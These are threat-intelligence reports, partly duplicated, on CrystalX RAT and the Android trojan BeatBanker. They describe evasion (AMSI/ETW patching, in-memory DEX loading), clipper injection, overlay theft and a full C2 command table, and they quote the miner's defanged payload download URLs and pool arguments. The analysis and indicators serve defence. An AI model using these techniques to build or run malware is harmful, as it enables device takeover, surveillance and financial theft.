The new malware was first mentioned in January 2026 in a private Telegram chat for developers of RAT malware. The author actively promoted their creation, called Webcrystal RAT, by attaching screenshots of the web panel. Many users observed that the panel layout was identical to that of the previously known WebRAT (also called Salat Stealer), leading them to label this malware as a copy. Additional similarities included the fact that the RAT was written in Go, and the messages from the bot selling access keys to the control panel closely matched those of the WebRAT bots.

After some time, this malware was rebranded and received a new name, CrystalX RAT. Its promotion moved to a corresponding new channel, which is quite busy and features marketing tricks, such as access key draws and polls. Moreover, it expanded beyond Telegram: a special YouTube channel was created, aimed at marketing promotion and already containing a video review of the capabilities of this malware.

The builder and anti-debug features

By default, the malware control panel provides third parties with an auto‑builder featuring a wide range of configurations, such as selective geoblocking by country, anti‑analysis functions, an executable icon, and others. Each implant is compressed using zlib and then encrypted with ChaCha20 and a hard‑coded 32‑byte key with a 12‑byte nonce. The malware has basic anti‑debugging functionality combined with additional optional capabilities:

  • MITM Check: checking if a proxy is enabled by reading the registry value HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings, blacklisting names of certain processes (Fiddler, Burp Suite, mitmproxy, etc.), and verifying the presence of installed certificates for the corresponding programs
  • VM detect: checking running processes, presence of guest tools, and hardware characteristics
  • Anti-attach loop: an infinite loop checking the debug flag, debug port, hardware breakpoints, and program execution timings
  • Stealth patches: patches for functions such as AmsiScanBuffer, EtwEventWrite, MiniDumpWriteDump

Stealer capabilities

When launched, the malware establishes a connection to its C2 using a hard‑coded URL over the WebSocket protocol. It performs an initial collection of system information, after which all data is sent in JSON format as plain text. Then the malware executes the stealer function, doing so either once or at predefined intervals depending on the build options. The stealer extracts the victim’s credentials for Steam, Discord, and Telegram from the system. It also gathers data from Chromium‑based browsers using the popular ChromeElevator utility. To do this, it decodes and decompresses the utility using base64 and gunzip and saves it to %TEMP%\svc[rndInt].exe, then creates a directory %TEMP%\co[rndInt], where the collected data is stored, and finally runs ChromeElevator with all available options.

The collected data is exfiltrated to the C2. For Yandex and Opera browsers, the stealer has a separate proprietary implementation with base decryption directly on the victim’s system. Notably, the builds created at the time the article was written lack the stealer functionality. OSINT results show that the author intentionally removed it with the aim to update the stealer arsenal before enabling it again.

Keylogger & clipper

Another option of the RAT is the keylogger. All user input is instantly transmitted via WebSocket to the C2, where it is assembled into a coherent text suitable for analysis. Additionally, the malware allows the attacker to read and modify the victim’s clipboard by issuing appropriate commands from the control panel. Moreover, it can inject a malicious clipper into the Chrome or Edge browser. This happens according to the following algorithm:

  1. The special malware command clipper:set:[ADDR1,...] with the attackers’ crypto‑wallets addresses passed as arguments launches the clipper injection thread.
  2. A %LOCALAPPDATA%\Microsoft\Edge\ExtSvc directory is created (regardless whether Edge or Chrome is the target of the injection), in which a malicious extension is stored, consisting of a manifest and a single JS script named content.js.
  3. The content.js script is dynamically generated, containing regular expressions for crypto wallet addresses (such as Bitcoin, Litecoin, Monero, Avalanche, Doge, and others) and substitution values.
  4. The generated script is activated via the Chrome DevTools (CDP) protocol using the command Page.addScriptToEvaluateOnNewDocument.

The final script looks as follows:

Remote access

The malware has a large set of commands for remote access to the victim’s system. The attacker can upload arbitrary files, execute any commands using cmd.exe, and also browse the file system, including all available drives. Moreover, the RAT includes its own VNC that allows the attacker to view the victim’s screen and control it remotely. Since both the attacker and the victim use the same session, the panel provides a number of buttons to block user input so that the attacker can perform necessary actions unhindered. The malware can also capture the audio stream from the microphone and the video stream from the camera in the background.

Prank commands

The finishing touch is a separate section of the panel named “Rofl” with commands whose functions consist of various pranks on the victim.

  • Setting a background: downloading an image from a specified URL and using it as the desktop background.
  • Display orientation: rotating the screen 90°, 180°, or 270°.
  • System shutdown: the panel has two different buttons “Voltage Drop” and “BSoD”, but malware analysis shows that both commands perform a regular shutdown using the appropriate utility.
  • Remapping mouse buttons: swapping left click with right click and the other way round.
  • Peripherals disruption: disconnecting the monitor and blocking the input from the mouse and keyboard.
  • Notifications: displaying a window with a custom title and message.
  • Cursor shake: a special command starts a loop in which the cursor position changes chaotically at short intervals.
  • Disabling components: hiding all file icons on the desktop, disabling the taskbar, task manager, and cmd.exe.

Moreover, the attacker can send a message to the victim, after which a dialog window will open in the system, allowing a bidirectional chat.

Conclusions

The sheer variety of available RATs has perpetuated demand, as actors prioritize flexibility of existing malware and its infrastructure. Thus, CrystalX RAT represents a highly functional MaaS platform that is not limited to espionage capabilities – spyware, keylogging and remote control – but includes unique stealer and prankware features. At the moment, the vector of the initial infection is not precisely known, but it affects dozens of victims. Although to date, we have only seen infection attempts in Russia, the MaaS itself has no regional restrictions meaning it may attack anywhere around the globe. Moreover, our telemetry has recorded new implant versions, which indicates that this malware is still being actively developed and maintained. Combined with the growing PR campaign for CrystalX RAT, it can be concluded that the number of victims can increase significantly in the near future.

Indicators of Compromise

# C2 infrastructure
webcrystal[.]lol
webcrystal[.]sbs
crystalxrat[.]top

# CrystalX RAT implants
47ACCB0ECFE8CCD466752DDE1864F3B0
2DBE6DE177241C144D06355C381B868C
49C74B302BFA32E45B7C1C5780DD0976
88C60DF2A1414CBF24430A74AE9836E0
E540E9797E3B814BFE0A82155DFE135D
1A68AE614FB2D8875CB0573E6A721B46

BeatBanker: A dual‑mode Android Trojan

By: GReAT
10 March 2026 at 11:00

Recently, we uncovered BeatBanker, an Android‑based malware campaign targeting Brazil. It spreads primarily through phishing attacks via a website disguised as the Google Play Store. To achieve their goals, the malicious APKs carry multiple components, including a cryptocurrency miner and a banking Trojan capable of completely hijacking the device and spoofing screens, among other things. In a more recent campaign, the attackers switched from the banker to a known RAT.

This blog post outlines each phase of the malware’s activity on the victim’s handset, explains how it ensures long‑term persistence, and describes its communication with mining pools.

Key findings:

  • To maintain persistence, the Trojan employs a creative mechanism: it plays an almost inaudible audio file on a loop so it cannot be terminated. This inspired us to name it BeatBanker.
  • It monitors battery temperature and percentage, and checks whether the user is using the device.
  • At various stages of the attack, BeatBanker disguises itself as a legitimate application on the Google Play Store and as the Play Store itself.
  • It deploys a banker in addition to a cryptocurrency miner.
  • When the user tries to make a USDT transaction, BeatBanker creates overlay pages for Binance and Trust Wallet, covertly replacing the destination address with the threat actor’s transfer address.
  • New samples now drop BTMOB RAT instead of the banking module.

Initial infection vector

The campaign begins with a counterfeit website, cupomgratisfood[.]shop, that looks exactly like the Google Play Store. This fake app store contains the “INSS Reembolso” app, which is in fact a Trojan. There are also other apps that are most likely Trojans too, but we haven’t obtained them.

The INSS Reembolso app poses as the official mobile portal of Brazil’s Instituto Nacional do Seguro Social (INSS), a government service that citizens can use to perform more than 90 social security tasks, from retirement applications and medical exam scheduling to viewing CNIS (National Registry of Social Information), tax, and payment statements, as well as tracking request statuses. By masquerading as this trusted platform, the fake page tricks users into downloading the malicious APK.

Packing

The initial APK file is packed and makes use of a native shared library (ELF) named  libludwwiuh.so that is included in the application. Its main task is to decrypt another ELF file that will ultimately load the original DEX file.

First, libludwwiuh.so decrypts an embedded encrypted ELF file and drops it to a temporary location on the device under the name l.so. The same code that loaded the libludwwiuh.so library then loads this file, which uses the Java Native Interface (JNI) to continue execution.

l.so – the DEX loader

The library does not have calls to its functions; instead, it directly calls the Java methods whose names are encrypted in the stack using XOR (stack strings technique) and restored at runtime:

Initially, the loader makes a request to collect some network information using https://ipapi.is to determine whether the infected device is a mobile device, if a VPN is being used, and to obtain the IP address and other details.

This loader is engineered to bypass mobile antivirus products by utilizing dalvik.system.InMemoryDexClassLoader. It loads malicious DEX code directly into memory, avoiding the creation of any files on the device’s file system. The necessary DEX files can be extracted using dynamic analysis tools like Frida.

Furthermore, the sample incorporates anti-analysis techniques, including runtime checks for emulated or analysis environments. When such an environment is detected (or when specific checks fail, such as verification of the supported CPU_ABI), the malware can immediately terminate its own process by invoking android.os.Process.killProcess(android.os.Process.myPid()), effectively self-destructing to hinder dynamic analysis.

After execution, the malware displays a user interface that mimics the Google Play Store page, showing an update available for the INSS Reembolso app. This is intended to trick victims into granting installation permissions by tapping the “Update” button, which allows the download of additional hidden malicious payloads.

The payload delivery process mimics the application update. The malware uses the REQUEST_INSTALL_PACKAGES permission to install APK files directly into its memory, bypassing Google Play. To ensure persistence, the malware keeps a notification about a system update pinned to the foreground and activates a foreground service with silent media playback, a tactic designed to prevent the operating system from terminating the malicious process.

Crypto mining

When UPDATE is clicked on a fake Play Store screen, the malicious application downloads and executes an ELF file containing a cryptomining payload. It starts by issuing a GET request to the C2 server at either hxxps://accessor.fud2026.com/libmine-<arch>.so or hxxps://fud2026.com/libmine-<arch>.so. The downloaded file is then decrypted using CipherInputStream(), with the decryption key being derived from the SHA-1 hash of the downloaded file’s name, ensuring that each version of the file is encrypted with a unique key. The resulting file is renamed d-miner.

The decrypted payload is an ARM-compiled XMRig 6.17.0 binary. At runtime, it attempts to create a direct TCP connection to pool.fud2026[.]com:9000. If successful, it uses this endpoint; otherwise, it automatically switches to the proxy endpoint pool-proxy.fud2026[.]com:9000. The final command-line arguments passed to XMRig are as follows:

  • -o pool.fud2026[.]com:9000 or pool-proxy.fud2026[.]com:9000 (selected dynamically)
  • -k (keepalive)
  • --tls (encrypted connection)
  • --no-color (disable colored output)
  • --nicehash (NiceHash protocol support)

C2 telemetry

The malware uses Google’s legitimate Firebase Cloud Messaging (FCM) as its primary command‑and‑control (C2) channel. In the analyzed sample, each FCM message received triggers a check of the battery status, temperature, installation date, and user presence. A hidden cryptocurrency miner is then started or stopped as needed. These mechanisms ensure that infected devices remain permanently accessible and responsive to the attacker’s instructions, which are sent through the FCM infrastructure. The attacker monitors the following information:

  • isCharging: indicates whether the phone is charging;
  • batteryLevel: the exact battery percentage;
  • isRecentInstallation: indicates whether the application was recently installed (if so, the implant delays malicious actions);
  • isUserAway: indicates whether the user is away from the device (screen off and inactive);
  • overheat: indicates whether the device is overheating;
  • temp: the current battery temperature.

Persistence

The KeepAliveServiceMediaPlayback component ensures continuous operation by initiating uninterrupted playback via MediaPlayer. It keeps the service active in the foreground using a notification and loads a small, continuous audio file. This constant activity prevents the system from suspending or terminating the process due to inactivity.

The identified audio output8.mp3 is five seconds long and plays on a loop. It contains some Chinese words.

Banking module

BeatBanker compromises the machine with a cryptocurrency miner and introduces another malicious APK that acts as a banking Trojan. This Trojan uses previously obtained permission to install an additional APK called INSS Reebolso, which is associated with the package com.destination.cosmetics.

Similar to the initial malicious APK, it establishes persistence by creating and displaying a fixed notification in the foreground to hinder removal. Furthermore, BeatBanker attempts to trick the user into granting accessibility permissions to the package.

Leveraging the acquired accessibility permissions, the malware establishes comprehensive control over the device’s user interface.

The Trojan constantly monitors the foreground application. It targets the official Binance application (com.binance.dev) and the Trust Wallet application (com.wallet.crypto.trustapp), focusing on USDT transactions. When a user tries to withdraw USDT, the Trojan instantly overlays the target app’s transaction confirmation screen with a highly realistic page sourced from Base64-encoded HTML stored in the banking module.

The module captures the original withdrawal address and amount, then surreptitiously substitutes the destination address with an attacker-controlled one using AccessibilityNodeInfo.ACTION_SET_TEXT. The overlay page shows the victim the address they copied (for Binance) or just shows a loading icon (for Trust Wallet), leading them to believe they are remitting funds to the intended wallet when, in fact, the cryptocurrency is transferred to the attacker’s designated address.

Fake overlay pages: Binance (left) and Trust Wallet (right)

Fake overlay pages: Binance (left) and Trust Wallet (right)

Target browsers

BeatBanker’s banking module monitors the following browsers installed on the victim’s device:

  • Chrome
  • Firefox
  • sBrowser
  • Brave
  • Opera
  • DuckDuckGo
  • Dolphin Browser
  • Edge

Its aim is to collect the URLs accessed by the victim using the regular expression ^(?:https?://)?(?:[^:/\\\\]+\\\\.)?([^:/\\\\]+\\\\.[^:/\\\\]+). It also offers management functionalities (add, edit, delete, list) for links saved in the device’s default browser, as well as the ability to open links provided by the attacker.

C2 communication

BeatBanker is also designed to receive commands from the C2. These commands aim to collect the victim’s personal information and gain complete control of the device.

Command Description
0 Starts dynamic loading of the DEX class
Update Simulates software update and locks the screen
msg: Displays a Toast message with the provided text
goauth<*> Opens Google Authenticator (if installed) and enables the AccessService.SendGoogleAuth flag used to monitor and retrieve authentication codes
kill<*> Sets the protection bypass flag AccessService.bypass to “True”
and sets the initializeService.uninstall flag to “Off”
srec<*> Starts or stops audio recording (microphone), storing the recorded data in a file with an automatically generated filename. The following path format is used to store the recording: /Config/sys/apps/rc/<timestamp>_0REC<last5digits>.wav
pst<*> Pastes text from the clipboard (via Accessibility Services)
GRC<*> Lists all existing audio recording files
gtrc<*> Sends a specific audio recording file to the C2
lcm<*> Lists supported front camera resolutions
usdtress<*> Sets a USDT cryptocurrency address when a transaction is detected
lnk<*> Opens a link in the browser
EHP<*> Updates login credentials (host, port, name) and restarts the application
ssms<*> Sends an SMS message (individually or to all contacts)
CRD<*> Adds (E>) or removes (D>) packages from the list of blocked/disabled applications
SFD<*> Deletes files (logs, recordings, tones) or uninstalls itself
adm<>lck<> Immediately locks the screen using Device Administrator permissions
adm<>wip<> Performs a complete device data wipe (factory reset)
Aclk<*> Executes a sequence of automatic taps (auto-clicker) or lists existing macros
KBO<*>lod Checks the status of the keylogger and virtual keyboard
KBO<*>AKP/AKA Requests permission to activate a custom virtual keyboard or activates one
KBO<*>ENB: Enables (1) or disables (0) the keylogger
RPM<*>lod Checks the status of all critical permissions
RPM<*>ACC Requests Accessibility Services permission
RPM<*>DOZ Requests Doze/App Standby permission (battery optimization)
RPM<*>DRW Requests Draw Over Other Apps permission (overlay)
RPM<*>INST Requests permission to install apps from unknown sources (Android 8+)
ussd<*> Executes a USSD code (e.g., *#06# for IMEI)
Blkt<*> Sets the text for the lock overlay
BLKV<*> Enables or disables full-screen lock using WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY to display a black FrameLayout element over the entire screen
SCRD<> / SCRD2<> Enables/disables real-time screen text submission to the C2 (screen reading)
rdall<*> Clears or sends all keylogger logs
rdd<*> Deletes a specific log file
rd<*> Sends the content of a specific keylogger file
MO<*> Manages application monitoring (add, remove, list, screenshot, etc.)
FW<*> Controls VPN and firewall (status, block/allow apps, enable/disable)
noti<*> Creates persistent and custom notifications
sp<*> Executes a sequence of swipes/taps (gesture macro)
lodp<*> Manages saved links in the internal browser (add, edit, delete, list)
scc: Starts screen capture/streaming

New BeatBanker samples dropping BTMOB

Our recent detection efforts uncovered a campaign leveraging a fraudulent StarLink application that we assess as being a new BeatBanker variant. The infection chain mirrored previous instances, employing identical persistence methods – specifically, looped audio and fixed notifications. Furthermore, this variant included a crypto miner similar to those seen previously. However, rather than deploying the banking module, it was observed distributing the BTMOB remote administration tool.

The BTMOB APK is highly obfuscated and contains a class responsible for configuration. Despite this, it’s possible to identify a parser used to define the application’s behavior on the device, as well as persistence features, such as protection against restart, deletion, lock reset, and the ability to perform real-time screen recording.

String decryption

The simple decryption routine uses repetitive XOR between the encrypted data and a short key. It iterates through the encrypted text byte by byte, repeating the key from the beginning whenever it reaches the end. At each position, the sample XORs the encrypted byte with the corresponding byte of the key, overwriting the original. Ultimately, the modified byte array contains the original text, which is then converted to UTF-8 and returned as a string.

Malware-as-a-Service

BTMOB is an Android remote administration tool that evolved from the CraxsRAT, CypherRAT, and SpySolr families. It provides full remote control of the victim’s device and is sold in a Malware-as-a-Service (MaaS) model. On July 26, 2025, a threat actor posted a screenshot of the BTMOB RAT in action on GitHub under the username “brmobrats”, along with a link to the website btmob[.]xyz. The website contains information about the BTMOB RAT, including its version history, features, and other relevant details. It also redirects to a Telegram contact. Cyfirma has already linked this account to CraxsRAT and CypherRAT.

Recently, a YouTube channel was created by a different threat actor that features videos demonstrating how to use the malware and facilitate its sale via Telegram.

We also saw the distribution and sale of leaked BTMOB source code on some dark web forums. This may suggest that the creator of BeatBanker acquired BTMOB from its original author or the source of the leak and is utilizing it as the final payload, replacing the banking module observed in the INSS Reebolso incident.

In terms of functionality, BTMOB maintains a set of intrusive capabilities, including: automatic granting of permissions, especially on Android 13–15 devices; use of a black FrameLayout overlay to hide system notifications similar to the one observed in the banking module; silent installation; persistent background execution; and mechanisms designed to capture screen lock credentials, including PINs, patterns, and passwords. The malware also provides access to front and rear cameras, captures keystrokes in real time, monitors GPS location, and constantly collects sensitive data. Together, these functionalities provide the operator with comprehensive remote control, persistent access, and extensive surveillance capabilities over compromised devices.

Victims

All variants of BeatBanker – those with the banking module and those with the BTMOB RAT – were detected on victims in Brazil. Some of the samples that deliver BTMOB appear to use WhatsApp to spread, as well as phishing pages.

Conclusion

BeatBanker is an excellent example of how mobile threats are becoming more sophisticated and multi-layered. Initially focused in Brazil, this Trojan operates a dual campaign, acting as a Monero cryptocurrency miner, discreetly draining your device’s battery life while also stealing banking credentials and tampering with cryptocurrency transactions. Moreover, the most recent version goes even further, substituting the banking module with a full-fledged BTMOB RAT.

The attackers have devised inventive tricks to maintain persistence. They keep the process alive by looping an almost inaudible audio track, which prevents the operating system from terminating it and allows BeatBanker to remain active for extended periods.

Furthermore, the threat demonstrates an obsession with staying hidden. It monitors device usage, battery level and temperature. It even uses Google’s legitimate system (FCM) to receive commands. The threat’s banking module is capable of overlaying Binance and Trust Wallet screens and diverting USDT funds to the criminals’ wallets before the victim even notices.

The lesson here is clear: distrust is your best defense. BeatBanker spreads through fake websites that mimic Google Play, disguising itself as trustworthy government applications. To protect yourself against threats like this, it is essential to:

  1. Download apps only from official sources. Always use the Google Play Store or the device vendor’s official app store. Make sure you use the correct app store app, and verify the developer.
  2. Check permissions. Pay attention to the permissions that applications request, especially those related to accessibility and installation of third-party packages.
  3. Keep the system updated. Security updates for Android and your mobile antivirus are essential.

Our solutions detect this threat as HEUR:Trojan-Dropper.AndroidOS.BeatBanker and HEUR:Trojan-Dropper.AndroidOS.Banker.*

Indicators of compromise

Additional IoCs, TTPs and detection rules are available to customers of our Threat Intelligence Reporting service. For more details, contact us at crimewareintel@kaspersky.com.

Host-based (MD5 hashes)
F6C979198809E13859196B135D21E79B – INSS Reebolso
D3005BF1D52B40B0B72B3C3B1773336B – StarLink

Domains
cupomgratisfood[.]shop
fud2026[.]com
accessor.fud2026[.]com
pool.fud2026[.]com
pool-proxy.fud2026[.]com
aptabase.fud2026[.]com
aptabase.khwdji319[.]xyz
btmob[.]xyz
bt-mob[.]net

BeatBanker: A dual‑mode Android Trojan

By: GReAT
10 March 2026 at 11:00

Recently, we uncovered BeatBanker, an Android‑based malware campaign targeting Brazil. It spreads primarily through phishing attacks via a website disguised as the Google Play Store. To achieve their goals, the malicious APKs carry multiple components, including a cryptocurrency miner and a banking Trojan capable of completely hijacking the device and spoofing screens, among other things. In a more recent campaign, the attackers switched from the banker to a known RAT.

This blog post outlines each phase of the malware’s activity on the victim’s handset, explains how it ensures long‑term persistence, and describes its communication with mining pools.

Key findings:

  • To maintain persistence, the Trojan employs a creative mechanism: it plays an almost inaudible audio file on a loop so it cannot be terminated. This inspired us to name it BeatBanker.
  • It monitors battery temperature and percentage, and checks whether the user is using the device.
  • At various stages of the attack, BeatBanker disguises itself as a legitimate application on the Google Play Store and as the Play Store itself.
  • It deploys a banker in addition to a cryptocurrency miner.
  • When the user tries to make a USDT transaction, BeatBanker creates overlay pages for Binance and Trust Wallet, covertly replacing the destination address with the threat actor’s transfer address.
  • New samples now drop BTMOB RAT instead of the banking module.

Initial infection vector

The campaign begins with a counterfeit website, cupomgratisfood[.]shop, that looks exactly like the Google Play Store. This fake app store contains the “INSS Reembolso” app, which is in fact a Trojan. There are also other apps that are most likely Trojans too, but we haven’t obtained them.

The INSS Reembolso app poses as the official mobile portal of Brazil’s Instituto Nacional do Seguro Social (INSS), a government service that citizens can use to perform more than 90 social security tasks, from retirement applications and medical exam scheduling to viewing CNIS (National Registry of Social Information), tax, and payment statements, as well as tracking request statuses. By masquerading as this trusted platform, the fake page tricks users into downloading the malicious APK.

Packing

The initial APK file is packed and makes use of a native shared library (ELF) named  libludwwiuh.so that is included in the application. Its main task is to decrypt another ELF file that will ultimately load the original DEX file.

First, libludwwiuh.so decrypts an embedded encrypted ELF file and drops it to a temporary location on the device under the name l.so. The same code that loaded the libludwwiuh.so library then loads this file, which uses the Java Native Interface (JNI) to continue execution.

l.so – the DEX loader

The library does not have calls to its functions; instead, it directly calls the Java methods whose names are encrypted in the stack using XOR (stack strings technique) and restored at runtime:

Initially, the loader makes a request to collect some network information using https://ipapi.is to determine whether the infected device is a mobile device, if a VPN is being used, and to obtain the IP address and other details.

This loader is engineered to bypass mobile antivirus products by utilizing dalvik.system.InMemoryDexClassLoader. It loads malicious DEX code directly into memory, avoiding the creation of any files on the device’s file system. The necessary DEX files can be extracted using dynamic analysis tools like Frida.

Furthermore, the sample incorporates anti-analysis techniques, including runtime checks for emulated or analysis environments. When such an environment is detected (or when specific checks fail, such as verification of the supported CPU_ABI), the malware can immediately terminate its own process by invoking android.os.Process.killProcess(android.os.Process.myPid()), effectively self-destructing to hinder dynamic analysis.

After execution, the malware displays a user interface that mimics the Google Play Store page, showing an update available for the INSS Reembolso app. This is intended to trick victims into granting installation permissions by tapping the “Update” button, which allows the download of additional hidden malicious payloads.

The payload delivery process mimics the application update. The malware uses the REQUEST_INSTALL_PACKAGES permission to install APK files directly into its memory, bypassing Google Play. To ensure persistence, the malware keeps a notification about a system update pinned to the foreground and activates a foreground service with silent media playback, a tactic designed to prevent the operating system from terminating the malicious process.

Crypto mining

When UPDATE is clicked on a fake Play Store screen, the malicious application downloads and executes an ELF file containing a cryptomining payload. It starts by issuing a GET request to the C2 server at either hxxps://accessor.fud2026.com/libmine-<arch>.so or hxxps://fud2026.com/libmine-<arch>.so. The downloaded file is then decrypted using CipherInputStream(), with the decryption key being derived from the SHA-1 hash of the downloaded file’s name, ensuring that each version of the file is encrypted with a unique key. The resulting file is renamed d-miner.

The decrypted payload is an ARM-compiled XMRig 6.17.0 binary. At runtime, it attempts to create a direct TCP connection to pool.fud2026[.]com:9000. If successful, it uses this endpoint; otherwise, it automatically switches to the proxy endpoint pool-proxy.fud2026[.]com:9000. The final command-line arguments passed to XMRig are as follows:

  • -o pool.fud2026[.]com:9000 or pool-proxy.fud2026[.]com:9000 (selected dynamically)
  • -k (keepalive)
  • --tls (encrypted connection)
  • --no-color (disable colored output)
  • --nicehash (NiceHash protocol support)

C2 telemetry

The malware uses Google’s legitimate Firebase Cloud Messaging (FCM) as its primary command‑and‑control (C2) channel. In the analyzed sample, each FCM message received triggers a check of the battery status, temperature, installation date, and user presence. A hidden cryptocurrency miner is then started or stopped as needed. These mechanisms ensure that infected devices remain permanently accessible and responsive to the attacker’s instructions, which are sent through the FCM infrastructure. The attacker monitors the following information:

  • isCharging: indicates whether the phone is charging;
  • batteryLevel: the exact battery percentage;
  • isRecentInstallation: indicates whether the application was recently installed (if so, the implant delays malicious actions);
  • isUserAway: indicates whether the user is away from the device (screen off and inactive);
  • overheat: indicates whether the device is overheating;
  • temp: the current battery temperature.

Persistence

The KeepAliveServiceMediaPlayback component ensures continuous operation by initiating uninterrupted playback via MediaPlayer. It keeps the service active in the foreground using a notification and loads a small, continuous audio file. This constant activity prevents the system from suspending or terminating the process due to inactivity.

The identified audio output8.mp3 is five seconds long and plays on a loop. It contains some Chinese words.

Banking module

BeatBanker compromises the machine with a cryptocurrency miner and introduces another malicious APK that acts as a banking Trojan. This Trojan uses previously obtained permission to install an additional APK called INSS Reebolso, which is associated with the package com.destination.cosmetics.

Similar to the initial malicious APK, it establishes persistence by creating and displaying a fixed notification in the foreground to hinder removal. Furthermore, BeatBanker attempts to trick the user into granting accessibility permissions to the package.

Leveraging the acquired accessibility permissions, the malware establishes comprehensive control over the device’s user interface.

The Trojan constantly monitors the foreground application. It targets the official Binance application (com.binance.dev) and the Trust Wallet application (com.wallet.crypto.trustapp), focusing on USDT transactions. When a user tries to withdraw USDT, the Trojan instantly overlays the target app’s transaction confirmation screen with a highly realistic page sourced from Base64-encoded HTML stored in the banking module.

The module captures the original withdrawal address and amount, then surreptitiously substitutes the destination address with an attacker-controlled one using AccessibilityNodeInfo.ACTION_SET_TEXT. The overlay page shows the victim the address they copied (for Binance) or just shows a loading icon (for Trust Wallet), leading them to believe they are remitting funds to the intended wallet when, in fact, the cryptocurrency is transferred to the attacker’s designated address.

Fake overlay pages: Binance (left) and Trust Wallet (right)

Fake overlay pages: Binance (left) and Trust Wallet (right)

Target browsers

BeatBanker’s banking module monitors the following browsers installed on the victim’s device:

  • Chrome
  • Firefox
  • sBrowser
  • Brave
  • Opera
  • DuckDuckGo
  • Dolphin Browser
  • Edge

Its aim is to collect the URLs accessed by the victim using the regular expression ^(?:https?://)?(?:[^:/\\\\]+\\\\.)?([^:/\\\\]+\\\\.[^:/\\\\]+). It also offers management functionalities (add, edit, delete, list) for links saved in the device’s default browser, as well as the ability to open links provided by the attacker.

C2 communication

BeatBanker is also designed to receive commands from the C2. These commands aim to collect the victim’s personal information and gain complete control of the device.

Command Description
0 Starts dynamic loading of the DEX class
Update Simulates software update and locks the screen
msg: Displays a Toast message with the provided text
goauth<*> Opens Google Authenticator (if installed) and enables the AccessService.SendGoogleAuth flag used to monitor and retrieve authentication codes
kill<*> Sets the protection bypass flag AccessService.bypass to “True”
and sets the initializeService.uninstall flag to “Off”
srec<*> Starts or stops audio recording (microphone), storing the recorded data in a file with an automatically generated filename. The following path format is used to store the recording: /Config/sys/apps/rc/<timestamp>_0REC<last5digits>.wav
pst<*> Pastes text from the clipboard (via Accessibility Services)
GRC<*> Lists all existing audio recording files
gtrc<*> Sends a specific audio recording file to the C2
lcm<*> Lists supported front camera resolutions
usdtress<*> Sets a USDT cryptocurrency address when a transaction is detected
lnk<*> Opens a link in the browser
EHP<*> Updates login credentials (host, port, name) and restarts the application
ssms<*> Sends an SMS message (individually or to all contacts)
CRD<*> Adds (E>) or removes (D>) packages from the list of blocked/disabled applications
SFD<*> Deletes files (logs, recordings, tones) or uninstalls itself
adm<>lck<> Immediately locks the screen using Device Administrator permissions
adm<>wip<> Performs a complete device data wipe (factory reset)
Aclk<*> Executes a sequence of automatic taps (auto-clicker) or lists existing macros
KBO<*>lod Checks the status of the keylogger and virtual keyboard
KBO<*>AKP/AKA Requests permission to activate a custom virtual keyboard or activates one
KBO<*>ENB: Enables (1) or disables (0) the keylogger
RPM<*>lod Checks the status of all critical permissions
RPM<*>ACC Requests Accessibility Services permission
RPM<*>DOZ Requests Doze/App Standby permission (battery optimization)
RPM<*>DRW Requests Draw Over Other Apps permission (overlay)
RPM<*>INST Requests permission to install apps from unknown sources (Android 8+)
ussd<*> Executes a USSD code (e.g., *#06# for IMEI)
Blkt<*> Sets the text for the lock overlay
BLKV<*> Enables or disables full-screen lock using WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY to display a black FrameLayout element over the entire screen
SCRD<> / SCRD2<> Enables/disables real-time screen text submission to the C2 (screen reading)
rdall<*> Clears or sends all keylogger logs
rdd<*> Deletes a specific log file
rd<*> Sends the content of a specific keylogger file
MO<*> Manages application monitoring (add, remove, list, screenshot, etc.)
FW<*> Controls VPN and firewall (status, block/allow apps, enable/disable)
noti<*> Creates persistent and custom notifications
sp<*> Executes a sequence of swipes/taps (gesture macro)
lodp<*> Manages saved links in the internal browser (add, edit, delete, list)
scc: Starts screen capture/streaming

New BeatBanker samples dropping BTMOB

Our recent detection efforts uncovered a campaign leveraging a fraudulent StarLink application that we assess as being a new BeatBanker variant. The infection chain mirrored previous instances, employing identical persistence methods – specifically, looped audio and fixed notifications. Furthermore, this variant included a crypto miner similar to those seen previously. However, rather than deploying the banking module, it was observed distributing the BTMOB remote administration tool.

The BTMOB APK is highly obfuscated and contains a class responsible for configuration. Despite this, it’s possible to identify a parser used to define the application’s behavior on the device, as well as persistence features, such as protection against restart, deletion, lock reset, and the ability to perform real-time screen recording.

String decryption

The simple decryption routine uses repetitive XOR between the encrypted data and a short key. It iterates through the encrypted text byte by byte, repeating the key from the beginning whenever it reaches the end. At each position, the sample XORs the encrypted byte with the corresponding byte of the key, overwriting the original. Ultimately, the modified byte array contains the original text, which is then converted to UTF-8 and returned as a string.

Malware-as-a-Service

BTMOB is an Android remote administration tool that evolved from the CraxsRAT, CypherRAT, and SpySolr families. It provides full remote control of the victim’s device and is sold in a Malware-as-a-Service (MaaS) model. On July 26, 2025, a threat actor posted a screenshot of the BTMOB RAT in action on GitHub under the username “brmobrats”, along with a link to the website btmob[.]xyz. The website contains information about the BTMOB RAT, including its version history, features, and other relevant details. It also redirects to a Telegram contact. Cyfirma has already linked this account to CraxsRAT and CypherRAT.

Recently, a YouTube channel was created by a different threat actor that features videos demonstrating how to use the malware and facilitate its sale via Telegram.

We also saw the distribution and sale of leaked BTMOB source code on some dark web forums. This may suggest that the creator of BeatBanker acquired BTMOB from its original author or the source of the leak and is utilizing it as the final payload, replacing the banking module observed in the INSS Reebolso incident.

In terms of functionality, BTMOB maintains a set of intrusive capabilities, including: automatic granting of permissions, especially on Android 13–15 devices; use of a black FrameLayout overlay to hide system notifications similar to the one observed in the banking module; silent installation; persistent background execution; and mechanisms designed to capture screen lock credentials, including PINs, patterns, and passwords. The malware also provides access to front and rear cameras, captures keystrokes in real time, monitors GPS location, and constantly collects sensitive data. Together, these functionalities provide the operator with comprehensive remote control, persistent access, and extensive surveillance capabilities over compromised devices.

Victims

All variants of BeatBanker – those with the banking module and those with the BTMOB RAT – were detected on victims in Brazil. Some of the samples that deliver BTMOB appear to use WhatsApp to spread, as well as phishing pages.

Conclusion

BeatBanker is an excellent example of how mobile threats are becoming more sophisticated and multi-layered. Initially focused in Brazil, this Trojan operates a dual campaign, acting as a Monero cryptocurrency miner, discreetly draining your device’s battery life while also stealing banking credentials and tampering with cryptocurrency transactions. Moreover, the most recent version goes even further, substituting the banking module with a full-fledged BTMOB RAT.

The attackers have devised inventive tricks to maintain persistence. They keep the process alive by looping an almost inaudible audio track, which prevents the operating system from terminating it and allows BeatBanker to remain active for extended periods.

